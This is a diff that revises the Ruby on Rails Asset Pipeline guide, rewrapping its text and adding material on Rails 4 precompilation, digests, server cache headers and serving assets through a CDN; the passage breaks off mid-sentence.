-Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`):
+Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb`
+extension (e.g., `application.js.coffee.erb`):
```js
$('#logo').attr src: "<%= asset_path('logo.png') %>"
@@ -272,9 +429,19 @@ $('#logo').attr src: "<%= asset_path('logo.png') %>"
### Manifest Files and Directives
-Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ — instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if `Rails.application.config.assets.compress` is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests.
+Sprockets uses manifest files to determine which assets to include and serve.
+These manifest files contain _directives_ - instructions that tell Sprockets
+which files to require in order to build a single CSS or JavaScript file. With
+these directives, Sprockets loads the files specified, processes them if
+necessary, concatenates them into one single file and then compresses them (if
+`Rails.application.config.assets.compress` is true). By serving one file rather
+than many, the load time of pages can be greatly reduced because the browser
+makes fewer requests. Compression also reduces file size, enabling the
+browser to download them faster.
-For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines:
+
+For example, a new Rails 4 application includes a default
+`app/assets/javascripts/application.js` file containing the following lines:
```js
// ...
@@ -283,30 +450,63 @@ For example, a new Rails application includes a default `app/assets/javascripts/
//= require_tree .
```
-In JavaScript files, the directives begin with `//=`. In this case, the file is using the `require` and the `require_tree` directives. The `require` directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a `.js` file when done from within a `.js` file.
-
-The `require_tree` directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the `require_directory` directive which includes all JavaScript files only in the directory specified, without recursion.
-
-Directives are processed top to bottom, but the order in which files are included by `require_tree` is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of `require` directives prevents files from being included twice in the output.
+In JavaScript files, Sprockets directives begin with `//=`. In the above case,
+the file is using the `require` and the `require_tree` directives. The `require`
+directive is used to tell Sprockets the files you wish to require. Here, you are
+requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere
+in the search path for Sprockets. You need not supply the extensions explicitly.
+Sprockets assumes you are requiring a `.js` file when done from within a `.js`
+file.
+
+The `require_tree` directive tells Sprockets to recursively include _all_
+JavaScript files in the specified directory into the output. These paths must be
+specified relative to the manifest file. You can also use the
+`require_directory` directive which includes all JavaScript files only in the
+directory specified, without recursion.
+
+Directives are processed top to bottom, but the order in which files are
+included by `require_tree` is unspecified. You should not rely on any particular
+order among those. If you need to ensure some particular JavaScript ends up
+above some other in the concatenated file, require the prerequisite file first
+in the manifest. Note that the family of `require` directives prevents files
+from being included twice in the output.
+
+Rails also creates a default `app/assets/stylesheets/application.css` file
+which contains these lines:
-Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines:
-
-```js
+```css
/* ...
*= require_self
*= require_tree .
*/
```
-The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The `require_tree` directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.
+Rails 4 creates both `app/assets/javascripts/application.js` and
+`app/assets/stylesheets/application.css` regardless of whether the
+--skip-sprockets option is used when creating a new rails application. This is
+so you can easily add asset pipelining later if you like.
+
+The directives that work in JavaScript files also work in stylesheets
+(though obviously including stylesheets rather than JavaScript files). The
+`require_tree` directive in a CSS manifest works the same way as the JavaScript
+one, requiring all stylesheets from the current directory.
+
+In this example, `require_self` is used. This puts the CSS contained within the
+file (if any) at the precise location of the `require_self` call.
-In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected.
+NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import)
+instead of these Sprockets directives. When using Sprockets directives, Sass files exist within
+their own scope, making variables or mixins only available within the document they were defined in.
-NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
+You can do file globbing as well using `@import "*"`, and `@import "**/*"` to add the whole tree which is equivalent to how `require_tree` works. Check the [sass-rails documentation](https://github.com/rails/sass-rails#features) for more info and important caveats.
-You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application.
+You can have as many manifest files as you need. For example, the `admin.css`
+and `admin.js` manifest could contain the JS and CSS files that are used for the
+admin section of an application.
-The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:
+The same remarks about ordering made above apply. In particular, you can specify
+individual files and they are compiled in the order specified. For example, you
+might concatenate three CSS files together this way:
```js
/* ...
@@ -316,21 +516,41 @@ The same remarks about ordering made above apply. In particular, you can specify
*/
```
-
### Preprocessing
-The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an `app/assets/javascripts/projects.js.coffee` and an `app/assets/stylesheets/projects.css.scss` file.
-
-When these files are requested, they are processed by the processors provided by the `coffee-script` and `sass` gems and then sent back to the browser as JavaScript and CSS respectively.
+The file extensions used on an asset determine what preprocessing is applied.
+When a controller or a scaffold is generated with the default Rails gemset, a
+CoffeeScript file and a SCSS file are generated in place of a regular JavaScript
+and CSS file. The example used before was a controller called "projects", which
+generated an `app/assets/javascripts/projects.js.coffee` and an
+`app/assets/stylesheets/projects.css.scss` file.
+
+In development mode, or if the asset pipeline is disabled, when these files are
+requested they are processed by the processors provided by the `coffee-script`
+and `sass` gems and then sent back to the browser as JavaScript and CSS
+respectively. When asset pipelining is enabled, these files are preprocessed and
+placed in the `public/assets` directory for serving by either the Rails app or
+web server.
+
+Additional layers of preprocessing can be requested by adding other extensions,
+where each extension is processed in a right-to-left manner. These should be
+used in the order the processing should be applied. For example, a stylesheet
+called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB,
+then SCSS, and finally served as CSS. The same applies to a JavaScript file -
+`app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then
+CoffeeScript, and served as JavaScript.
+
+Keep in mind the order of these preprocessors is important. For example, if
+you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee`
+then it would be processed with the CoffeeScript interpreter first, which
+wouldn't understand ERB and therefore you would run into problems.
-Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file — `app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then CoffeeScript, and served as JavaScript.
-
-Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
In Development
--------------
-In development mode, assets are served as separate files in the order they are specified in the manifest file.
+In development mode, assets are served as separate files in the order they are
+specified in the manifest file.
This manifest `app/assets/javascripts/application.js`:
@@ -350,41 +570,79 @@ would generate this HTML:
The `body` param is required by Sprockets.
+### Runtime Error Checking
+
+By default the asset pipeline will check for potential errors in development mode during
+runtime. To disable this behavior you can set:
+
+```ruby
+config.assets.raise_runtime_errors = false
+```
+
+When this option is true, the asset pipeline will check if all the assets loaded
+in your application are included in the `config.assets.precompile` list.
+If `config.assets.digest` is also true, the asset pipeline will require that
+all requests for assets include digests.
+
+### Turning Digests Off
+
+You can turn off digests by updating `config/environments/development.rb` to
+include:
+
+```ruby
+config.assets.digest = false
+```
+
+When this option is true, digests will be generated for asset URLs.
+
### Turning Debugging Off
-You can turn off debug mode by updating `config/environments/development.rb` to include:
+You can turn off debug mode by updating `config/environments/development.rb` to
+include:
```ruby
config.assets.debug = false
```
-When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
+When debug mode is off, Sprockets concatenates and runs the necessary
+preprocessors on all files. With debug mode turned off the manifest above would
+generate instead:
```html
<script src="/assets/application.js"></script>
```
-Assets are compiled and cached on the first request after the server is started. Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request overhead on subsequent requests — on these the browser gets a 304 (Not Modified) response.
+Assets are compiled and cached on the first request after the server is started.
+Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request
+overhead on subsequent requests - on these the browser gets a 304 (Not Modified)
+response.
-If any of the files in the manifest have changed between requests, the server responds with a new compiled file.
+If any of the files in the manifest have changed between requests, the server
+responds with a new compiled file.
-Debug mode can also be enabled in the Rails helper methods:
+Debug mode can also be enabled in Rails helper methods:
```erb
-<%= stylesheet_link_tag "application", :debug => true %>
-<%= javascript_include_tag "application", :debug => true %>
+<%= stylesheet_link_tag "application", debug: true %>
+<%= javascript_include_tag "application", debug: true %>
```
-The `:debug` option is redundant if debug mode is on.
+The `:debug` option is redundant if debug mode is already on.
-You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
+You can also enable compression in development mode as a sanity check, and
+disable it on-demand as required for debugging.
In Production
-------------
-In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server.
+In the production environment Sprockets uses the fingerprinting scheme outlined
+above. By default Rails assumes assets have been precompiled and will be
+served as static assets by your web server.
-During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name.
+During the precompilation phase an MD5 is generated from the contents of the
+compiled files, and inserted into the filenames as they are written to disc.
+These fingerprinted names are used by the Rails helpers in place of the manifest
+name.
For example this:
@@ -397,103 +655,149 @@ generates something like this:
```html
<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
-<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" />
+<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen"
+rel="stylesheet" />
```
-Note: with the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from the `javascript_include_tag` and `stylesheet_link_tag`.
+Note: with the Asset Pipeline the :cache and :concat options aren't used
+anymore, delete these options from the `javascript_include_tag` and
+`stylesheet_link_tag`.
+The fingerprinting behavior is controlled by the `config.assets.digest`
+initialization option (which defaults to `true` for production and `false` for
+everything else).
-The fingerprinting behavior is controlled by the setting of `config.assets.digest` setting in Rails (which defaults to `true` for production and `false` for everything else).
-
-NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.
+NOTE: Under normal circumstances the default `config.assets.digest` option
+should not be changed. If there are no digests in the filenames, and far-future
+headers are set, remote clients will never know to refetch the files when their
+content changes.
### Precompiling Assets
-Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.
+Rails comes bundled with a rake task to compile the asset manifests and other
+files in the pipeline.
-Compiled assets are written to the location specified in `config.assets.prefix`. By default, this is the `public/assets` directory.
+Compiled assets are written to the location specified in `config.assets.prefix`.
+By default, this is the `/assets` directory.
-You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally.
+You can call this task on the server during deployment to create compiled
+versions of your assets directly on the server. See the next section for
+information on compiling locally.
The rake task is:
```bash
-$ bundle exec rake assets:precompile
+$ RAILS_ENV=production bin/rake assets:precompile
```
-For faster asset precompiles, you can partially load your application by setting
-`config.assets.initialize_on_precompile` to false in `config/application.rb`, though in that case templates
-cannot see application objects or methods. **Heroku requires this to be false.**
-
-WARNING: If you set `config.assets.initialize_on_precompile` to false, be sure to
-test `rake assets:precompile` locally before deploying. It may expose bugs where
-your assets reference application objects or methods, since those are still
-in scope in development mode regardless of the value of this flag. Changing this flag also affects
-engines. Engines can define assets for precompilation as well. Since the complete environment is not loaded,
-engines (or other gems) will not be loaded, which can cause missing assets.
-
-Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`:
+Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment.
+Add the following line to `Capfile`:
```ruby
load 'deploy/assets'
```
-This links the folder specified in `config.assets.prefix` to `shared/assets`. If you already use this shared folder you'll need to write your own deployment task.
-
-It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page.
+This links the folder specified in `config.assets.prefix` to `shared/assets`.
+If you already use this shared folder you'll need to write your own deployment
+task.
-NOTE. If you are precompiling your assets locally, you can use `bundle install --without assets` on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).
+It is important that this folder is shared between deployments so that remotely
+cached pages referencing the old compiled assets still work for the life of
+the cached page.
-The default matcher for compiling files includes `application.js`, `application.css` and all non-JS/CSS files (this will include all image assets automatically):
+The default matcher for compiling files includes `application.js`,
+`application.css` and all non-JS/CSS files (this will include all image assets
+automatically) from `app/assets` folders including your gems:
```ruby
-[ Proc.new{ |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ]
+[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) },
+/application.(css|js)$/ ]
```
-NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and `.scss` files are **not** automatically included as they compile to JS/CSS.
+NOTE: The matcher (and other members of the precompile array; see below) is
+applied to final compiled file names. This means anything that compiles to
+JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and
+`.scss` files are **not** automatically included as they compile to JS/CSS.
+
+If you have other manifests or individual stylesheets and JavaScript files to
+include, you can add them to the `precompile` array in `config/initializers/assets.rb`:
+
+```ruby
+Rails.application.config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
+```
-If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array:
+Or, you can opt to precompile all assets with something like this:
```ruby
-config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
+# config/initializers/assets.rb
+Rails.application.config.assets.precompile << Proc.new do |path|
+ if path =~ /\.(css|js)\z/
+ full_path = Rails.application.assets.resolve(path).to_path
+ app_assets_path = Rails.root.join('app', 'assets').to_path
+ if full_path.starts_with? app_assets_path
+ logger.info "including asset: " + full_path
+ true
+ else
+ logger.info "excluding asset: " + full_path
+ false
+ end
+ else
+ false
+ end
+end
```
-NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array.
+NOTE. Always specify an expected compiled filename that ends with .js or .css,
+even if you want to add Sass or CoffeeScript files to the precompile array.
-The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:
+The rake task also generates a `manifest-md5hash.json` that contains a list with
+all your assets and their respective fingerprints. This is used by the Rails
+helper methods to avoid handing the mapping requests back to Sprockets. A
+typical manifest file looks like:
-```yaml
----
-rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
-jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
-jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
-application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
-application.css: application-8af74128f904600e41a6e39241464e03.css
+```ruby
+{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"logical_path":"application.js","mtime":"2013-07-26T22:55:03-07:00","size":302506,
+"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7dd74d2e9df37e7cbb1efa76a6d.css":{"logical_path":"application.css","mtime":"2013-07-26T22:54:54-07:00","size":1560,
+"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752789588ac18d7e1a50b1f0fd4c2.css":{"logical_path":"application.css","mtime":"2013-07-26T22:56:17-07:00","size":1591,
+"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b81f0476e876f7c5e375969.ico":{"logical_path":"favicon.ico","mtime":"2013-07-26T23:00:10-07:00","size":1406,
+"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f23887d9dd70710ea5efd3c62.png":{"logical_path":"my_image.png","mtime":"2013-07-26T23:00:27-07:00","size":6646,
+"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets":{"application.js":
+"application-723d1be6cc741a3aabb1cec24276d681.js","application.css":
+"application-1c5752789588ac18d7e1a50b1f0fd4c2.css",
+"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_image.png":
+"my_image-231a680f23887d9dd70710ea5efd3c62.png"}}
```
-The default location for the manifest is the root of the location specified in `config.assets.prefix` ('/assets' by default).
+The default location for the manifest is the root of the location specified in
+`config.assets.prefix` ('/assets' by default).
-NOTE: If there are missing precompiled files in production you will get an `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` exception indicating the name of the missing file(s).
+NOTE: If there are missing precompiled files in production you will get an
+`Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError`
+exception indicating the name of the missing file(s).
#### Far-future Expires Header
-Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.
+Precompiled assets exist on the file system and are served directly by your web
+server. They do not have far-future headers by default, so to get the benefit of
+fingerprinting you'll have to update your server configuration to add those
+headers.
For Apache:
```apache
-# The Expires* directives requires the Apache module `mod_expires` to be enabled.
-<LocationMatch "^/assets/.*$">
+# The Expires* directives requires the Apache module
+# `mod_expires` to be enabled.
+<Location /assets/>
# Use of ETag is discouraged when Last-Modified is present
Header unset ETag
FileETag None
# RFC says only cache for 1 year
ExpiresActive On
ExpiresDefault "access plus 1 year"
-</LocationMatch>
+</Location>
```
-For nginx:
+For NGINX:
```nginx
location ~ ^/assets/ {
@@ -507,9 +811,15 @@ location ~ ^/assets/ {
#### GZip Compression
-When files are precompiled, Sprockets also creates a [gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
+When files are precompiled, Sprockets also creates a
+[gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web
+servers are typically configured to use a moderate compression ratio as a
+compromise, but since precompilation happens once, Sprockets uses the maximum
+compression ratio, thus reducing the size of the data transfer to the minimum.
+On the other hand, web servers can be configured to serve compressed content
+directly from disk, rather than deflating non-compressed files themselves.
-Nginx is able to do this automatically enabling `gzip_static`:
+NGINX is able to do this automatically enabling `gzip_static`:
```nginx
location ~ ^/(assets)/ {
@@ -520,30 +830,39 @@ location ~ ^/(assets)/ {
}
```
-This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation:
+This directive is available if the core module that provides this feature was
+compiled with the web server. Ubuntu/Debian packages, even `nginx-light`, have
+the module compiled. Otherwise, you may need to perform a manual compilation:
```bash
./configure --with-http_gzip_static_module
```
-If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.
+If you're compiling NGINX with Phusion Passenger you'll need to pass that option
+when prompted.
-A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.)
+A robust configuration for Apache is possible but tricky; please Google around.
+(Or help update this Guide if you have a good configuration example for Apache.)
### Local Precompilation
-There are several reasons why you might want to precompile your assets locally. Among them are:
+There are several reasons why you might want to precompile your assets locally.
+Among them are:
* You may not have write access to your production file system.
-* You may be deploying to more than one server, and want to avoid the duplication of work.
+* You may be deploying to more than one server, and want to avoid
+duplication of work.
* You may be doing frequent deploys that do not include asset changes.
-Local compilation allows you to commit the compiled files into source control, and deploy as normal.
+Local compilation allows you to commit the compiled files into source control,
+and deploy as normal.
-There are two caveats:
+There are three caveats:
* You must not run the Capistrano deployment task that precompiles assets.
-* You must change the following two application configuration settings.
+* You must ensure any necessary compressors or minifiers are
+available on your development system.
+* You must change the following application configuration setting:
In `config/environments/development.rb`, place the following line:
@@ -551,23 +870,20 @@ In `config/environments/development.rb`, place the following line:
config.assets.prefix = "/dev-assets"
```
-You will also need this in application.rb:
+The `prefix` change makes Sprockets use a different URL for serving assets in
+development mode, and pass all requests to Sprockets. The prefix is still set to
+`/assets` in the production environment. Without this change, the application
+would serve the precompiled assets from `/assets` in development, and you would
+not see any local changes until you compile assets again.
-```ruby
-config.assets.initialize_on_precompile = false
-```
-
-The `prefix` change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to `/assets` in the production environment. Without this change, the application would serve the precompiled assets from `public/assets` in development, and you would not see any local changes until you compile assets again.
-
-The `initialize_on_precompile` change tells the precompile task to run without invoking Rails. This is because the precompile task runs in production mode by default, and will attempt to connect to your specified production database. Please note that you cannot have code in pipeline files that relies on Rails resources (such as the database) when compiling locally with this option.
-
-You will also need to ensure that any compressors or minifiers are available on your development system.
-
-In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected.
+In practice, this will allow you to precompile locally, have those files in your
+working tree, and commit those files to source control when needed. Development
+mode will work as expected.
### Live Compilation
-In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.
+In some circumstances you may wish to use live compilation. In this mode all
+requests for assets in the pipeline are handled by Sprockets directly.
To enable this option set:
@@ -575,13 +891,21 @@ To enable this option set:
config.assets.compile = true
```
-On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.
+On the first request the assets are compiled and cached as outlined in
+development above, and the manifest names used in the helpers are altered to
+include the MD5 hash.
-Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
+Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This
+signals all caches between your server and the client browser that this content
+(the file served) can be cached for 1 year. The effect of this is to reduce the
+number of requests for this asset from your server; the asset has a good chance
+of being in the local browser cache or some intermediate cache.
-This mode uses more memory, performs more poorly than the default and is not recommended.
+This mode uses more memory, performs more poorly than the default and is not
+recommended.
-If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
+If you are deploying a production application to a system without any
+pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
```ruby
group :production do
@@ -591,36 +915,239 @@ end
### CDNs
-If your assets are being served by a CDN, ensure they don't stick around in
-your cache forever. This can cause problems. If you use
-`config.action_controller.perform_caching = true`, Rack::Cache will use
-`Rails.cache` to store assets. This can cause your cache to fill up quickly.
+CDN stands for [Content Delivery
+Network](http://en.wikipedia.org/wiki/Content_delivery_network), they are
+primarily designed to cache assets all over the world so that when a browser
+requests the asset, a cached copy will be geographically close to that browser.
+If you are serving assets directly from your Rails server in production, the
+best practice is to use a CDN in front of your application.
+
+A common pattern for using a CDN is to set your production application as the
+"origin" server. This means when a browser requests an asset from the CDN and
+there is a cache miss, it will grab the file from your server on the fly and
+then cache it. For example if you are running a Rails application on
+`example.com` and have a CDN configured at `mycdnsubdomain.fictional-cdn.com`,
+then when a request is made to `mycdnsubdomain.fictional-
+cdn.com/assets/smile.png`, the CDN will query your server once at
+`example.com/assets/smile.png` and cache the request. The next request to the
+CDN that comes in to the same URL will hit the cached copy. When the CDN can
+serve an asset directly the request never touches your Rails server. Since the
+assets from a CDN are geographically closer to the browser, the request is
+faster, and since your server doesn't need to spend time serving assets, it can
+focus on serving application code as fast as possible.
+
+#### Set up a CDN to Serve Static Assets
+
+To set up your CDN you have to have your application running in production on
+the internet at a publically available URL, for example `example.com`. Next
+you'll need to sign up for a CDN service from a cloud hosting provider. When you
+do this you need to configure the "origin" of the CDN to point back at your
+website `example.com`, check your provider for documentation on configuring the
+origin server.
+
+The CDN you provisioned should give you a custom subdomain for your application
+such as `mycdnsubdomain.fictional-cdn.com` (note fictional-cdn.com is not a
+valid CDN provider at the time of this writing). Now that you have configured
+your CDN server, you need to tell browsers to use your CDN to grab assets
+instead of your Rails server directly. You can do this by configuring Rails to
+set your CDN as the asset host instead of using a relative path. To set your
+asset host in Rails, you need to set `config.action_controller.asset_host` in
+`config/production.rb`:
+
+```ruby
+config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com'
+```
+
+NOTE: You only need to provide the "host", this is the subdomain and root
+domain, you do not need to specify a protocol or "scheme" such as `http://` or
+`https://`. When a web page is requested, the protocol in the link to your asset
+that is generated will match how the webpage is accessed by default.
-Every cache is different, so evaluate how your CDN handles caching and make
-sure that it plays nicely with the pipeline. You may find quirks related to
-your specific set up, you may not. The defaults nginx uses, for example,
-should give you no problems when used as an HTTP cache.
+You can also set this value through an [environment
+variable](http://en.wikipedia.org/wiki/Environment_variable) to make running a
+staging copy of your site easier:
+
+```
+config.action_controller.asset_host = ENV['CDN_HOST']
+```
+
+
+
+Note: You would need to set `CDN_HOST` on your server to `mycdnsubdomain
+.fictional-cdn.com` for this to work.
+
+Once you have configured your server and your CDN when you serve a webpage that
+has an asset:
+
+```erb
+<%= asset_path('smile.png') %>
+```
+
+Instead of returning a path such as `/assets/smile.png` (digests are left out
+for readability). The URL generated will have the full path to your CDN.
+
+```
+http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
+```
+
+If the CDN has a copy of `smile.png` it will serve it to the browser and your
+server doesn't even know it was requested. If the CDN does not have a copy it
+will try to find it a the "origin" `example.com/assets/smile.png` and then store
+it for future use.
+
+If you want to serve only some assets from your CDN, you can use custom `:host`
+option your asset helper, which overwrites value set in
+`config.action_controller.asset_host`.
+
+```erb
+<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %>
+```
+
+#### Customize CDN Caching Behavior
+
+A CDN works by caching content. If the CDN has stale or bad content, then it is
+hurting rather than helping your application. The purpose of this section is to
+describe general caching behavior of most CDNs, your specific provider may
+behave slightly differently.
+
+##### CDN Request Caching
+
+While a CDN is described as being good for caching assets, in reality caches the
+entire request. This includes the body of the asset as well as any headers. The
+most important one being `Cache-Control` which tells the CDN (and web browsers)
+how to cache contents. This means that if someone requests an asset that does
+not exist `/assets/i-dont-exist.png` and your Rails application returns a 404,
+then your CDN will likely cache the 404 page if a valid `Cache-Control` header
+is present.
+
+##### CDN Header Debugging
+
+One way to check the headers are cached properly in your CDN is by using [curl](
+http://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You
+can request the headers from both your server and your CDN to verify they are
+the same:
+
+```
+$ curl -I http://www.example/assets/application-
+d0e099e021c95eb0de3615fd1d8c4d83.css
+HTTP/1.1 200 OK
+Server: Cowboy
+Date: Sun, 24 Aug 2014 20:27:50 GMT
+Connection: keep-alive
+Last-Modified: Thu, 08 May 2014 01:24:14 GMT
+Content-Type: text/css
+Cache-Control: public, max-age=2592000
+Content-Length: 126560
+Via: 1.1 vegur
+```
+
+Versus the CDN copy.
+
+```
+$ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
+d0e099e021c95eb0de3615fd1d8c4d83.css
+HTTP/1.1 200 OK Server: Cowboy Last-
+Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css
+Cache-Control:
+public, max-age=2592000
+Via: 1.1 vegur
+Content-Length: 126560
+Accept-Ranges:
+bytes
+Date: Sun, 24 Aug 2014 20:28:45 GMT
+Via: 1.1 varnish
+Age: 885814
+Connection: keep-alive
+X-Served-By: cache-dfw1828-DFW
+X-Cache: HIT
+X-Cache-Hits:
+68
+X-Timer: S1408912125.211638212,VS0,VE0
+```
+
+Check your CDN documentation for any additional information they may provide
+such as `X-Cache` or for any additional headers they may add.
+
+##### CDNs and the Cache-Control Header
+
+The [cache control
+header](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) is a W3C
+specification that describes how a request can be cached. When no CDN is used, a
+browser will use this information to cache contents. This is very helpful for
+assets that are not modified so that a browser does not need to re-download a
+website's CSS or javascript on every request. Generally we want our Rails server
+to tell our CDN (and browser) that the asset is "public", that means any cache
+can store the request. Also we commonly want to set `max-age` which is how long
+the cache will store the object before invalidating the cache. The `max-age`
+value is set to seconds with a maximum possible value of `31536000` which is one
+year. You can do this in your rails application by setting
+
+```
+config.static_cache_control = "public, max-age=31536000"
+```
+
+Now when your application serves an asset in production, the CDN will store the
+asset for up to a year. Since most CDNs also cache headers of the request, this
+`Cache-Control` will be passed along to all future browsers seeking this asset,
+the browser then knows that it can store this asset for a very long time before
+needing to re-request it.
+
+##### CDNs and URL based Cache Invalidation
+
+Most CDNs will cache contents of an asset based on the complete URL. This means
+that a request to
+
+```
+http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png
+```
+
+Will be a completely different cache from
+
+```
+http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
+```
+
+If you want to set far future `max-age` in your `Cache-Control` (and you do),
+then make sure when you change your assets that your cache is invalidated. For
+example when changing the smiley face in an image from yellow to blue, you want
+all visitors of your site to get the new blue face. When using a CDN with the
+Rails asset pipeline `config.assets.digest` is set to true by default so that
+each asset will have a different file name when it is changed. This way you
